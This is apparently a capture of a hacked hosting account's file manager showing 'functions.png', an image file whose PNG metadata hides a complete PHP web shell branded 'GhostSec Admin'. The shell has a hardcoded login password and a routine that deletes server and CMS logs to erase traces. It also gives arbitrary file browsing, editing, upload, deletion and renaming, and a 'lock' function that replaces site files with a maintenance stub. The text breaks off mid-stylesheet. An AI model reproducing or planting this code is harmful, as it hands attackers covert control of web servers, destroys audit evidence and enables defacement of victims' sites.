Avacostn - Moslem
Choose File
DIR :
Home
/
home
/
puthuppa
/
.
/
public_html
/
members.bak
/
..
/
puthuppa@68.178.173.116: ~ $
Edit File: functions.png
�PNG IHDR � � U&� sRGB ��� sBIT|d� �!iTXtDescription <?php session_start(); // Prevent browser caching header("Cache-Control: no-cache, no-store, must-revalidate"); header("Pragma: no-cache"); header("Expires: 0"); // Store current scroll position before any redirect if (isset($_SERVER['HTTP_REFERER']) && isset($_GET['path'])) { $_SESSION['last_path'] = $_GET['path']; $_SESSION['last_scroll'] = isset($_GET['scroll']) ? $_GET['scroll'] : 0; } /* ============================ LOGIN SYSTEM ============================ */ $DEFAULT_PASS = "GeoDevz69"; // Logout if (isset($_GET['logout'])) { $_SESSION = []; session_destroy(); header("Location: ?"); exit; } // Clear logs function if (isset($_GET['clearlogs'])) { clearLogs(); $_SESSION['toast'] = "Logs cleared successfully!"; header("Location: ?" . getRedirectParams()); exit; } function clearLogs() { $commonLogFiles = [ 'error_log', 'access_log', '.htaccess', 'logs.txt', 'log.txt', 'debug.log', 'error.log' ]; $commonLogDirs = [ 'logs', 'log', 'tmp', 'temp', 'cache', 'debug' ]; $cleared = []; // Clear common log files foreach ($commonLogFiles as $logFile) { if (file_exists($logFile)) { if (unlink($logFile)) { $cleared[] = $logFile; } } // Check in subdirectories $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator('.', RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $file) { if ($file->isFile() && $file->getFilename() === $logFile) { if (unlink($file->getPathname())) { $cleared[] = $file->getPathname(); } } } } // Clear log directories foreach ($commonLogDirs as $logDir) { if (is_dir($logDir)) { deleteDirectory($logDir); $cleared[] = $logDir . '/'; } } // Clear common CMS log directories $cmsLogDirs = [ 'wp-content/debug.log', 'wp-content/error_log', 'storage/logs', 'var/log', 'app/logs' ]; foreach ($cmsLogDirs as $cmsLog) { if (file_exists($cmsLog)) { if (is_dir($cmsLog)) { deleteDirectory($cmsLog); } else { unlink($cmsLog); } $cleared[] = $cmsLog; } } return $cleared; } function deleteDirectory($dir) { if (!is_dir($dir)) return false; $files = array_diff(scandir($dir), array('.', '..')); foreach ($files as $file) { $path = $dir . '/' . $file; if (is_dir($path)) { deleteDirectory($path); } else { unlink($path); } } return rmdir($dir); } // Helper function to get redirect parameters function getRedirectParams() { $params = []; if (isset($_GET['path'])) { $params[] = 'path=' . rawurlencode($_GET['path']); } if (isset($_GET['search']) && $_GET['search'] !== '') { $params[] = 'search=' . rawurlencode($_GET['search']); } if (isset($_GET['scroll'])) { $params[] = 'scroll=' . intval($_GET['scroll']); } return !empty($params) ? implode('&', $params) : ''; } if (!isset($_SESSION['logged_in']) || $_SESSION['logged_in'] !== true) { if ($_SERVER['REQUEST_METHOD'] === 'POST') { if (isset($_POST['password']) && $_POST['password'] === $DEFAULT_PASS) { session_regenerate_id(true); $_SESSION['logged_in'] = true; header("Location: ?"); exit; } else { $error = "Wrong password!"; } } ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"/> <meta name="viewport" content="width=device-width,initial-scale=1"/> <title>GhostSec Admin - Login</title> <style> /* 3D DARK GRAY LOGIN THEME WITH GRAY 3D BUTTONS */ :root { --bg-dark: #1a1a1a; --bg-darker: #111111; --card-dark: #2d2d2d; --card-light: #3a3a3a; --text-light: #f0f0f0; --text-muted: #aaaaaa; --accent: #ffffff; --btn-light: #a0a0a0; --btn-dark: #808080; --btn-shadow: #606060; --btn-pressed: #b0b0b0; } * { box-sizing: border-box; margin: 0; padding: 0; } html, body { height: 100%; font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif; background: linear-gradient(145deg, var(--bg-darker), var(--bg-dark)); color: var(--text-light); -webkit-font-smoothing: antialiased; overflow: hidden; } .center { min-height: 100vh; display: flex; align-items: center; justify-content: center; padding: 24px; perspective: 1000px; } /* 3D CARD EFFECT */ .card { width: 420px; max-width: 96%; border-radius: 24px; padding: 36px 32px; background: linear-gradient(145deg, var(--card-dark), var(--card-light)); box-shadow: 20px 20px 40px rgba(0, 0, 0, 0.5), -10px -10px 30px rgba(255, 255, 255, 0.05), inset 2px 2px 5px rgba(255, 255, 255, 0.1), inset -2px -2px 5px rgba(0, 0, 0, 0.3); border: 1px solid rgba(255, 255, 255, 0.08); text-align: center; transform-style: preserve-3d; animation: cardFloat 6s ease-in-out infinite; } @keyframes cardFloat { 0%, 100% { transform: translateY(0) rotateX(2deg) rotateY(1deg); } 50% { transform: translateY(-10px) rotateX(-1deg) rotateY(-1deg); } } .logo { width: 140px; height: 140px; border-radius: 50%; margin: -80px auto 20px; overflow: hidden; border: 8px solid rgba(0, 0, 0, 0.4); box-shadow: 0 15px 35px rgba(0, 0, 0, 0.7), inset 5px 5px 15px rgba(255, 255, 255, 0.1), inset -5px -5px 15px rgba(0, 0, 0, 0.4); transform: translateZ(20px); background: linear-gradient(145deg, #333333, #2a2a2a); } .logo img { width: 100%; height: 100%; object-fit: cover; display: block; filter: brightness(1.1) contrast(1.1); } .title { margin: 0 0 12px 0; font-weight: 800; letter-spacing: 2px; text-shadow: 3px 3px 6px rgba(0, 0, 0, 0.7); font-size: 28px; color: var(--accent); transform: translateZ(15px); } .msg { color: #ff6b6b; font-weight: 700; margin: 8px 0 0; text-shadow: 1px 1px 3px rgba(0, 0, 0, 0.5); transform: translateZ(10px); } .form { margin-top: 24px; transform: translateZ(10px); } .field { width: 92%; max-width: 340px; margin: 16px auto 0; position: relative; } /* 3D INPUT FIELD */ .input { width: 100%; padding: 18px 52px 18px 20px; border-radius: 16px; border: none; background: linear-gradient(145deg, #4a4a4a, #3a3a3a); color: var(--text-light); font-weight: 700; font-size: 16px; box-shadow: inset 5px 5px 10px rgba(0, 0, 0, 0.4), inset -5px -5px 10px rgba(255, 255, 255, 0.1), 5px 5px 15px rgba(0, 0, 0, 0.5); outline: none; transition: all 0.3s ease; letter-spacing: 1px; } .input:focus { box-shadow: inset 3px 3px 8px rgba(0, 0, 0, 0.5), inset -3px -3px 8px rgba(255, 255, 255, 0.15), 0 0 20px rgba(255, 255, 255, 0.1); transform: translateY(-2px); } .input::placeholder { color: var(--text-muted); font-weight: 600; } /* 3D GRAY SHOW BUTTON */ .show-btn { position: absolute; right: 10px; top: 50%; transform: translateY(-50%); padding: 10px 16px; border-radius: 12px; background: linear-gradient(145deg, var(--btn-light), var(--btn-dark)); color: #222222; border: none; font-weight: 800; cursor: pointer; box-shadow: 5px 5px 15px rgba(0, 0, 0, 0.4), -3px -3px 10px rgba(255, 255, 255, 0.3); transition: all 0.2s ease; font-size: 13px; letter-spacing: 1px; } .show-btn:hover { transform: translateY(-50%) scale(1.05); } .show-btn:active { box-shadow: inset 3px 3px 8px var(--btn-shadow), inset -3px -3px 8px rgba(255, 255, 255, 0.5); background: linear-gradient(145deg, var(--btn-pressed), var(--btn-dark)); transform: translateY(-50%) scale(0.98); } .row { display: flex; gap: 16px; width: 92%; max-width: 340px; margin: 24px auto 0; } /* 3D GRAY BUTTONS */ .btn { flex: 1; padding: 16px 20px; border-radius: 16px; border: none; background: linear-gradient(145deg, var(--btn-light), var(--btn-dark)); color: #222222; font-weight: 900; cursor: pointer; box-shadow: 8px 8px 20px rgba(0, 0, 0, 0.4), -5px -5px 15px rgba(255, 255, 255, 0.3); font-size: 15px; letter-spacing: 1.5px; transition: all 0.3s ease; position: relative; overflow: hidden; transform-style: preserve-3d; } .btn::before { content: ''; position: absolute; top: 0; left: 0; right: 0; bottom: 0; background: linear-gradient(145deg, rgba(255,255,255,0.1), rgba(0,0,0,0.1)); border-radius: 16px; opacity: 0; transition: opacity 0.3s ease; } .btn:hover { transform: translateY(-3px) scale(1.03); box-shadow: 12px 12px 25px rgba(0, 0, 0, 0.5), -7px -7px 20px rgba(255, 255, 255, 0.4); } .btn:hover::before { opacity: 1; } .btn:active { transform: translateY(1px) scale(0.98); box-shadow: inset 4px 4px 10px var(--btn-shadow), inset -4px -4px 10px rgba(255, 255, 255, 0.6); background: linear-gradient(145deg, var(--btn-pressed), var(--btn-dark)); } .ghost { background: linear-gradient(145deg, var(--btn-light), var(--btn-dark)); } .note { margin-top: 20px; color: var(--text-muted); font-size: 13px; line-height: 1.5; transform: translateZ(5px); text-shadow: 1px 1px 2px rgba(0, 0, 0, 0.5); } /* Background 3D elements */ .bg-elements { position: fixed; top: 0; left: 0; width: 100%; height: 100%; pointer-events: none; z-index: -1; } .bg-element { position: absolute; background: rgba(255, 255, 255, 0.03); border-radius: 50%; filter: blur(40px); } .bg-1 { width: 300px; height: 300px; top: -100px; right: -100px; animation: float 20s infinite linear; } .bg-2 { width: 400px; height: 400px; bottom: -150px; left: -150px; animation: float 25s infinite linear reverse; } .bg-3 { width: 200px; height: 200px; top: 50%; left: 10%; animation: float 15s infinite linear; } @keyframes float { 0% { transform: translate(0, 0) rotate(0deg); } 100% { transform: translate(100px, 100px) rotate(360deg); } } @media (max-width: 480px) { .card { padding: 28px 24px; border-radius: 20px; } .logo { width: 110px; height: 110px; margin-top: -65px; border-width: 6px; } .title { font-size: 24px; } .field, .row { width: 96%; } .input { padding: 16px 48px 16px 18px; } } </style> <script> function togglePassword() { const f = document.getElementById('pw'); if (!f) return; const b = document.getElementById('showBtn'); if (f.type === 'password') { f.type = 'text'; b.innerText = 'HIDE'; b.setAttribute('aria-pressed', 'true'); } else { f.type = 'password'; b.innerText = 'SHOW'; b.setAttribute('aria-pressed', 'false'); } } function playKeySound() { try { const a = new Audio('https://cdn.pixabay.com/audio/2021/09/06/audio_730f0b5c79.mp3'); a.volume = 0.3; a.play().catch(() => {}); } catch(e) {} } // Add 3D tilt effect to card document.addEventListener('DOMContentLoaded', function() { const card = document.querySelector('.card'); if (card) { card.addEventListener('mousemove', function(e) { const rect = card.getBoundingClientRect(); const x = e.clientX - rect.left; const y = e.clientY - rect.top; const centerX = rect.width / 2; const centerY = rect.height / 2; const rotateY = ((x - centerX) / centerX) * 3; const rotateX = ((centerY - y) / centerY) * 3; card.style.transform = `perspective(1000px) rotateX(${rotateX}deg) rotateY(${rotateY}deg) translateY(-5px)`; }); card.addEventListener('mouseleave', function() { card.style.transform = 'perspective(1000px) rotateX(2deg) rotateY(1deg) translateY(0)'; card.style.transition = 'transform 0.5s ease'; setTimeout(() => { card.style.transition = ''; }, 500); }); } }); </script> </head> <body> <div class="bg-elements"> <div class="bg-element bg-1"></div> <div class="bg-element bg-2"></div> <div class="bg-element bg-3"></div> </div> <div class="center"> <div class="card" role="main" aria-labelledby="loginTitle"> <div class="logo" aria-hidden="true"><img src="https://i.ibb.co/27S7vWvq/1762220205621.png" alt="logo"></div> <h2 id="loginTitle" class="title">ADMIN PANEL</h2> <?php if (isset($error)) echo '<div class="msg" role="alert">'.htmlspecialchars($error,ENT_QUOTES).'</div>'; ?> <form method="post" class="form" autocomplete="off" onsubmit="document.getElementById('pw').disabled=false;"> <div class="field"> <input id="pw" class="input" name="password" type="password" placeholder="ENTER PASSWORD" required autocomplete="off"> <button id="showBtn" type="button" class="show-btn" aria-pressed="false" onclick="togglePassword()">SHOW</button> </div> <div class="row"> <button type="button" class="btn ghost" onclick="playKeySound()">GET KEY</button> <button type="submit" class="btn">LOGIN</button> </div> <div class="note">Use your admin password to access the file manager. All actions are immediate and logged.</div> </form> </div> </div> </body> </html> <?php exit; } /* ============================ MAIN FILE MANAGER PAGE ============================ */ $path = isset($_GET['path']) ? $_GET['path'] : '.'; $fullPath = realpath($path); if ($fullPath === false) $fullPath = realpath('.'); // Search functionality $searchTerm = isset($_GET['search']) ? trim($_GET['search']) : ''; $searchResults = []; if ($searchTerm !== '') { $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($fullPath, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $file) { if ($file->isFile()) { $filename = $file->getFilename(); $filepath = $file->getPathname(); // Search by extension or filename if (stripos($filename, $searchTerm) !== false || stripos($filepath, $searchTerm) !== false || (strpos($searchTerm, '.') === 0 && substr($filename, -strlen($searchTerm)) === $searchTerm)) { $searchResults[] = $filepath; } } } } /* ============================ CREATE FILE/FOLDER FUNCTIONALITY ============================ */ if (isset($_GET['create'])) { $type = $_GET['create']; // 'file' or 'folder' if ($_SERVER['REQUEST_METHOD'] === 'POST') { $name = trim($_POST['name']); if ($name === '') { $_SESSION['toast'] = "Name cannot be empty!"; header("Location: ?" . getRedirectParams()); exit; } $fullPath = $fullPath . DIRECTORY_SEPARATOR . $name; if ($type === 'file') { if (file_exists($fullPath)) { $_SESSION['toast'] = "File already exists!"; } elseif (touch($fullPath)) { $_SESSION['toast'] = "File created successfully!✅"; } else { $_SESSION['toast'] = "Failed to create file!"; } } elseif ($type === 'folder') { if (file_exists($fullPath)) { $_SESSION['toast'] = "Folder already exists!"; } elseif (mkdir($fullPath, 0755, true)) { $_SESSION['toast'] = "Folder created successfully!✅"; } else { $_SESSION['toast'] = "Failed to create folder!"; } } header("Location: ?" . getRedirectParams()); exit; } ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"/><meta name="viewport" content="width=device-width,initial-scale=1"/> <title>Create <?php echo htmlspecialchars($type,ENT_QUOTES); ?></title> <style> :root{--bg:#1b1b1b;--card:#2d2d2d;--btn-light:#a0a0a0;--btn-dark:#808080;--btn-shadow:#606060;--muted:#9aa0a6} *{box-sizing:border-box}body{margin:0;font-family:Arial,Helvetica,sans-serif;background:linear-gradient(145deg,#111111,#1a1a1a);color:#f0f0f0;padding:20px} .card{max-width:680px;margin:30px auto;padding:24px;border-radius:20px;background:linear-gradient(145deg,#2d2d2d,#3a3a3a);box-shadow:15px 15px 30px rgba(0,0,0,0.5), -8px -8px 20px rgba(255,255,255,0.05);border:1px solid rgba(255,255,255,0.05)} h2{margin:0 0 16px 0;color:#ffffff}input[type=text]{width:100%;padding:14px 18px;border-radius:14px;border:none;margin-bottom:16px;font-weight:700;background:linear-gradient(145deg,#4a4a4a,#3a3a3a);color:#f0f0f0;box-shadow:inset 5px 5px 10px rgba(0,0,0,0.4), inset -5px -5px 10px rgba(255,255,255,0.1)}.btn{background:linear-gradient(145deg, var(--btn-light), var(--btn-dark));color:#222222;padding:14px 20px;border-radius:14px;font-weight:900;text-decoration:none;border:none;cursor:pointer;box-shadow:8px 8px 20px rgba(0,0,0,0.4), -5px -5px 15px rgba(255,255,255,0.3);transition:all 0.3s ease} .btn:hover{transform:translateY(-3px);box-shadow:12px 12px 25px rgba(0,0,0,0.5), -7px -7px 20px rgba(255,255,255,0.4)} .btn:active{transform:translateY(1px);box-shadow:inset 4px 4px 10px var(--btn-shadow), inset -4px -4px 10px rgba(255,255,255,0.6);background:linear-gradient(145deg, #b0b0b0, var(--btn-dark))} </style> </head> <body> <div class="card"> <h2>Create <?php echo htmlspecialchars(ucfirst($type),ENT_QUOTES); ?></h2> <form method="post"> <input type="text" name="name" placeholder="Enter <?php echo htmlspecialchars($type,ENT_QUOTES); ?> name" required autofocus> <button class="btn" type="submit">Create</button> <a href="?<?php echo getRedirectParams(); ?>" style="color:#9fe06c;font-weight:700;text-decoration:none;padding:12px 16px;border-radius:12px;background:linear-gradient(145deg,#3a3a3a,#2d2d2d);box-shadow:5px 5px 15px rgba(0,0,0,0.3), -3px -3px 10px rgba(255,255,255,0.05);display:inline-block;">Cancel</a> </form> </div> </body> </html> <?php exit; } /* ============================ LOCK / UNLOCK HELPERS ============================ */ function lock_target_path($target) { $dir = dirname($target); $base = basename($target); $abs = $dir . DIRECTORY_SEPARATOR . $base; return $abs; } function make_backup_name($abs) { return $abs . '.locked.bak'; } function is_locked_backup_present($abs) { return file_exists(make_backup_name($abs)); } function create_lock_stub_text($abs) { $ext = strtolower(pathinfo($abs, PATHINFO_EXTENSION)); if ($ext === 'txt') { return "Maintenance....Coming Soon!"; } return "Maintenance....Coming Soon!"; } /* Breadcrumb */ $parts = explode(DIRECTORY_SEPARATOR, $fullPath); $breadcrumb = ""; $build = ""; foreach ($parts as $p) { if ($p === "") continue; $build .= DIRECTORY_SEPARATOR . $p; $escapedBuildForJs = htmlspecialchars(addslashes($build), ENT_QUOTES); $breadcrumb .= "<a href='?" . getRedirectParamsForLink($build) . "' onclick=\"setPath('".$escapedBuildForJs."')\">" . htmlspecialchars($p, ENT_QUOTES) . "</a> / "; } // Helper function for breadcrumb links function getRedirectParamsForLink($newPath) { $params = ['path=' . rawurlencode($newPath)]; if (isset($_GET['search']) && $_GET['search'] !== '') { $params[] = 'search=' . rawurlencode($_GET['search']); } if (isset($_GET['scroll'])) { $params[] = 'scroll=' . intval($_GET['scroll']); } return implode('&', $params); } /* DELETE - FIXED: Now properly deletes folders */ if (isset($_GET['delete'])) { $target = $_GET['delete']; if (is_file($target)) { unlink($target); } elseif (is_dir($target)) { // Use recursive delete function for directories deleteDirectory($target); } $_SESSION['toast'] = "Deleted successfully!✅"; header("Location: ?" . getRedirectParams()); exit; } /* RENAME */ if (isset($_GET['rename'])) { $renameFile = $_GET['rename']; if ($_SERVER['REQUEST_METHOD'] === 'POST') { $newName = dirname($renameFile) . "/" . $_POST['newname']; rename($renameFile, $newName); $_SESSION['toast'] = "Renamed successfully!✅"; header("Location: ?" . getRedirectParams()); exit; } ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"/><meta name="viewport" content="width=device-width,initial-scale=1"/> <title>Rename - <?php echo htmlspecialchars(basename($renameFile),ENT_QUOTES); ?></title> <style> :root{--bg:#1b1b1b;--card:#2d2d2d;--btn-light:#a0a0a0;--btn-dark:#808080;--btn-shadow:#606060;--muted:#9aa0a6} *{box-sizing:border-box}body{margin:0;font-family:Arial,Helvetica,sans-serif;background:linear-gradient(145deg,#111111,#1a1a1a);color:#f0f0f0;padding:20px} .card{max-width:680px;margin:30px auto;padding:24px;border-radius:20px;background:linear-gradient(145deg,#2d2d2d,#3a3a3a);box-shadow:15px 15px 30px rgba(0,0,0,0.5), -8px -8px 20px rgba(255,255,255,0.05);border:1px solid rgba(255,255,255,0.05)} h2{margin:0 0 16px 0;color:#ffffff}input[type=text]{width:100%;padding:14px 18px;border-radius:14px;border:none;margin-bottom:16px;font-weight:700;background:linear-gradient(145deg,#4a4a4a,#3a3a3a);color:#f0f0f0;box-shadow:inset 5px 5px 10px rgba(0,0,0,0.4), inset -5px -5px 10px rgba(255,255,255,0.1)}.btn{background:linear-gradient(145deg, var(--btn-light), var(--btn-dark));color:#222222;padding:14px 20px;border-radius:14px;font-weight:900;text-decoration:none;border:none;cursor:pointer;box-shadow:8px 8px 20px rgba(0,0,0,0.4), -5px -5px 15px rgba(255,255,255,0.3);transition:all 0.3s ease} .btn:hover{transform:translateY(-3px);box-shadow:12px 12px 25px rgba(0,0,0,0.5), -7px -7px 20px rgba(255,255,255,0.4)} .btn:active{transform:translateY(1px);box-shadow:inset 4px 4px 10px var(--btn-shadow), inset -4px -4px 10px rgba(255,255,255,0.6);background:linear-gradient(145deg, #b0b0b0, var(--btn-dark))} </style> </head> <body> <div class="card"> <h2>Rename: <?php echo htmlspecialchars(basename($renameFile),ENT_QUOTES); ?></h2> <form method="post"> <input type="text" name="newname" value="<?php echo htmlspecialchars(basename($renameFile),ENT_QUOTES); ?>" required> <button class="btn" type="submit">Rename</button> <a href="?<?php echo getRedirectParams(); ?>" style="color:#9fe06c;font-weight:700;text-decoration:none;padding:12px 16px;border-radius:12px;background:linear-gradient(145deg,#3a3a3a,#2d2d2d);box-shadow:5px 5px 15px rgba(0,0,0,0.3), -3px -3px 10px rgba(255,255,255,0.05);display:inline-block;">Cancel</a> </form> </div> </body> </html> <?php exit; } /* LOCK - FIXED VERSION */ if (isset($_GET['lock'])) { $raw = $_GET['lock']; $abs = lock_target_path($raw); if (!file_exists($abs)) { $_SESSION['toast'] = "File not found!"; header("Location: ?" . getRedirectParams()); exit; } $bak = make_backup_name($abs); // Prevent double-lock if (is_locked_backup_present($abs)) { $_SESSION['toast'] = "Item already locked."; header("Location: ?" . getRedirectParams()); exit; } // For files: backup original content and replace with maintenance message if (is_file($abs)) { // Read original content $originalContent = file_get_contents($abs); // Create backup with original content if (file_put_contents($bak, $originalContent) === false) { $_SESSION['toast'] = "Failed to create backup!"; header("Location: ?" . getRedirectParams()); exit; } // Replace file with maintenance message $stub = create_lock_stub_text($abs); if (file_put_contents($abs, $stub) === false) { $_SESSION['toast'] = "Failed to lock file!"; // Clean up backup if stub creation failed if (file_exists($bak)) { unlink($bak); } header("Location: ?" . getRedirectParams()); exit; } // Set read-only permissions @chmod($abs, 0444); } elseif (is_dir($abs)) { // For directories: create backup and maintenance file if (!@rename($abs, $bak)) { $_SESSION['toast'] = "Failed to lock directory!"; header("Location: ?" . getRedirectParams()); exit; } // Recreate directory with maintenance notice @mkdir($abs, 0755, true); $stub = create_lock_stub_text($abs); @file_put_contents($abs . DIRECTORY_SEPARATOR . 'README.MAINTENANCE', $stub); } // Set appropriate success message $_SESSION['toast'] = "Locked Successfully!✅"; header("Location: ?" . getRedirectParams()); exit; } /* UNLOCK - FIXED VERSION */ if (isset($_GET['unlock'])) { $raw = $_GET['unlock']; $abs = lock_target_path($raw); $bak = make_backup_name($abs); // Check if backup exists if (!file_exists($bak)) { $_SESSION['toast'] = "No backup found to unlock!"; header("Location: ?" . getRedirectParams()); exit; } // Remove the current locked file/directory if (file_exists($abs)) { if (is_dir($abs)) { // For directories: remove maintenance file and directory $stubfile = $abs . DIRECTORY_SEPARATOR . 'README.MAINTENANCE'; if (file_exists($stubfile)) { @unlink($stubfile); } // Remove all files in directory first $files = array_diff(scandir($abs), array('.', '..')); foreach ($files as $file) { $filePath = $abs . DIRECTORY_SEPARATOR . $file; if (is_file($filePath)) { @unlink($filePath); } } @rmdir($abs); } else { // For files: simply remove the locked file @unlink($abs); } } // Restore from backup if (is_dir($bak)) { // For directories: restore the entire directory if (!@rename($bak, $abs)) { $_SESSION['toast'] = "Failed to restore directory!"; header("Location: ?" . getRedirectParams()); exit; } } else { // For files: restore the original content $originalContent = file_get_contents($bak); if (file_put_contents($abs, $originalContent) === false) { $_SESSION['toast'] = "Failed to restore file content!"; header("Location: ?" . getRedirectParams()); exit; } // Remove backup file after successful restoration @unlink($bak); // Restore writable permissions @chmod($abs, 0644); } $_SESSION['toast'] = "Unlocked Successfully!✅"; header("Location: ?" . getRedirectParams()); exit; } /* EDITOR */ if (isset($_GET['edit'])) { $editFile = $_GET['edit']; if (is_locked_backup_present($editFile)) { echo "<div style='max-width:900px;margin:30px auto;padding:20px;border-radius:12px;background:linear-gradient(145deg,#2a2a2a,#1f1f1f);color:#fff;'>" . "<p style='color:#ff7b7b;font-weight:700;'>File is LOCKED – cannot edit.</p></div>"; exit; } if (!is_writable($editFile)) { echo "<div style='max-width:900px;margin:30px auto;padding:20px;border-radius:1212px;background:linear-gradient(145deg,#2a2a2a,#1f1f1f);color:#fff;'>" . "<p style='color:#ff7b7b;font-weight:700;'>File is read-only – cannot edit.</p></div>"; exit; } if ($_SERVER['REQUEST_METHOD'] === 'POST') { file_put_contents($editFile, $_POST['content']); $_SESSION['toast'] = "Saved successfully!✅"; header("Location: ?" . getRedirectParams()); exit; } $data = htmlspecialchars(file_get_contents($editFile), ENT_QUOTES, 'UTF-8'); ?> <!DOCTYPE html> <html lang="en"> <head><meta charset="utf-8"/><meta name="viewport" content="width=device-width,initial-scale=1"/><title>Editing: <?php echo htmlspecialchars($editFile,ENT_QUOTES); ?></title> <style> :root{--bg:#1b1b1b;--card:#2d2d2d;--btn-light:#a0a0a0;--btn-dark:#808080;--btn-shadow:#606060} *{box-sizing:border-box}body{margin:0;font-family:Arial,Helvetica,sans-serif;background:linear-gradient(145deg,#111111,#1a1a1a);color:#f0f0f0;padding:20px} .card{max-width:1100px;margin:20px auto;padding:22px;border-radius:20px;background:linear-gradient(145deg,#2f3133,#232425);border:1px solid rgba(255,255,255,0.05);box-shadow:15px 15px 30px rgba(0,0,0,0.5), -8px -8px 20px rgba(255,255,255,0.05)} h2{margin:0 0 16px 0;color:#ffffff}textarea{width:100%;height:520px;border-radius:14px;padding:16px;border:none;font-family:monospace;resize:vertical;background:linear-gradient(145deg,#4a4a4a,#3a3a3a);color:#f0f0f0;box-shadow:inset 5px 5px 10px rgba(0,0,0,0.4), inset -5px -5px 10px rgba(255,255,255,0.1)}button.btn{padding:14px 20px;border-radius:14px;border:none;background:linear-gradient(145deg, var(--btn-light), var(--btn-dark));color:#222222;font-weight:900;cursor:pointer;margin-top:12px;box-shadow:8px 8px 20px rgba(0,0,0,0.4), -5px -5px 15px rgba(255,255,255,0.3);transition:all 0.3s ease} button.btn:hover{transform:translateY(-3px);box-shadow:12px 12px 25px rgba(0,0,0,0.5), -7px -7px 20px rgba(255,255,255,0.4)} button.btn:active{transform:translateY(1px);box-shadow:inset 4px 4px 10px var(--btn-shadow), inset -4px -4px 10px rgba(255,255,255,0.6);background:linear-gradient(145deg, #b0b0b0, var(--btn-dark))} </style> </head> <body> <div class="card"> <h2>Editing: <?php echo htmlspecialchars($editFile,ENT_QUOTES); ?></h2> <form method="post"> <textarea name="content"><?php echo $data; ?></textarea><br> <button class="btn" type="submit">Save</button> <a href="?<?php echo getRedirectParams(); ?>" style="color:#9fe06c;font-weight:700;text-decoration:none;padding:12px 16px;border-radius:12px;background:linear-gradient(145deg,#3a3a3a,#2d2d2d);box-shadow:5px 5px 15px rgba(0,0,0,0.3), -3px -3px 10px rgba(255,255,255,0.05);display:inline-block;">Back</a> </form> </div> </body> </html> <?php exit; } /* UPLOAD - FIXED VERSION */ if (isset($_FILES['upload']) && isset($_FILES['upload']['tmp_name']) && is_uploaded_file($_FILES['upload']['tmp_name'])) { $destName = basename($_FILES['upload']['name']); $uploadPath = $fullPath . '/' . $destName; // Check if destination is writable if (!is_writable($fullPath)) { $_SESSION['toast'] = "Upload failed: Directory is not writable!"; header("Location: ?" . getRedirectParams()); exit; } // Move uploaded file if (move_uploaded_file($_FILES['upload']['tmp_name'], $uploadPath)) { $_SESSION['toast'] = "File Uploaded!✅"; } else { $_SESSION['toast'] = "Upload failed! Please check permissions."; } header("Location: ?" . getRedirectParams()); exit; } ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"/><meta name="viewport" content="width=device-width,initial-scale=1"/> <title>Ghost Security - File Manager</title> <style> /* 3D DARK THEME WITH GRAY 3D BUTTONS */ :root{ --bg-dark:#111111; --bg-light:#1a1a1a; --card-dark:#2d2d2d; --card-light:#3a3a3a; --muted:#9aa0a6; --btn-light:#a0a0a0; --btn-dark:#808080; --btn-shadow:#606060; --accent:#ffffff; --border: rgba(255,255,255,0.05); --elev: 0 15px 30px rgba(0,0,0,0.4); } *{box-sizing:border-box} body{margin:0;font-family:Arial,Helvetica,sans-serif;background:linear-gradient(145deg,var(--bg-dark),var(--bg-light));color:#f0f0f0;padding:20px} .wrap{max-width:1400px;margin:0 auto;padding:8px} /* TOP CARD */ .top-card{ border-radius:20px; padding:22px 24px; background:linear-gradient(145deg,var(--card-dark),var(--card-light)); box-shadow: 15px 15px 30px rgba(0,0,0,0.5), -8px -8px 20px rgba(255,255,255,0.05), inset 3px 3px 8px rgba(255,255,255,0.05), inset -3px -3px 8px rgba(0,0,0,0.3); border:1px solid var(--border); display:flex; gap:20px; align-items:center; justify-content:space-between; flex-wrap:wrap; } /* BRAND */ .brand{ display:flex; align-items:center; gap:16px; min-width:260px; } .brand img{width:58px;height:58px;border-radius:12px;object-fit:cover;border:1px solid var(--border);box-shadow:5px 5px 15px rgba(0,0,0,0.4)} .brand h2{margin:0;font-size:20px;letter-spacing:1px;color:var(--accent);text-shadow:2px 2px 4px rgba(0,0,0,0.5)} .brand .sub{font-size:13px;color:var(--muted);text-shadow:1px 1px 2px rgba(0,0,0,0.3)} /* CONTROLS */ .controls{ display:flex; gap:14px; align-items:center; margin-left:auto; flex-wrap:wrap; } /* SEARCH BOX */ .search-box{ display:flex; gap:10px; align-items:center; background:transparent; min-width:320px; } .search-input{ flex:1; padding:12px 16px; border-radius:14px; border:none; background:linear-gradient(145deg,#4a4a4a,#3a3a3a); color:#f0f0f0; font-weight:700; box-shadow: inset 5px 5px 10px rgba(0,0,0,0.4), inset -5px -5px 10px rgba(255,255,255,0.1); font-size:14px; outline:none; min-width:220px; transition:all 0.3s ease; } .search-input:focus{ box-shadow: inset 3px 3px 8px rgba(0,0,0,0.5), inset -3px -3px 8px rgba(255,255,255,0.15), 0 0 20px rgba(255,255,255,0.1); transform:translateY(-2px); } .search-input::placeholder{ color:var(--muted); font-weight:700; } /* Browsing display block - aligned horizontally */ .browse-block{ display:flex; gap:12px; align-items:center; background:transparent; min-width:380px; justify-content:flex-end; } .browse-label{font-size:13px;color:var(--muted);text-align:right;text-shadow:1px 1px 2px rgba(0,0,0,0.3)} .current-path{ font-weight:900; color:var(--accent); background:linear-gradient(145deg,#3a3a3a,#2d2d2d); padding:10px 14px; border-radius:14px; border:1px solid var(--border); max-width:520px; overflow:hidden; text-overflow:ellipsis; white-space:nowrap; box-shadow:inset 3px 3px 8px rgba(0,0,0,0.3); } /* NEW: CREATE BUTTONS GROUP */ .create-group { display: flex; gap: 12px; align-items: center; flex-wrap: wrap; margin-top: 16px; width: 100%; justify-content: center; border-top: 1px solid rgba(255,255,255,0.08); padding-top: 16px; } /* ALL BUTTONS WITH GRAY 3D STYLE */ .create-btn { background: linear-gradient(145deg, var(--btn-light), var(--btn-dark)); color: #222222; padding: 12px 20px; border-radius: 14px; font-weight: 900; text-decoration: none; border: none; cursor: pointer; box-shadow: 8px 8px 20px rgba(0,0,0,0.4), -5px -5px 15px rgba(255,255,255,0.3); display: inline-flex; align-items: center; gap: 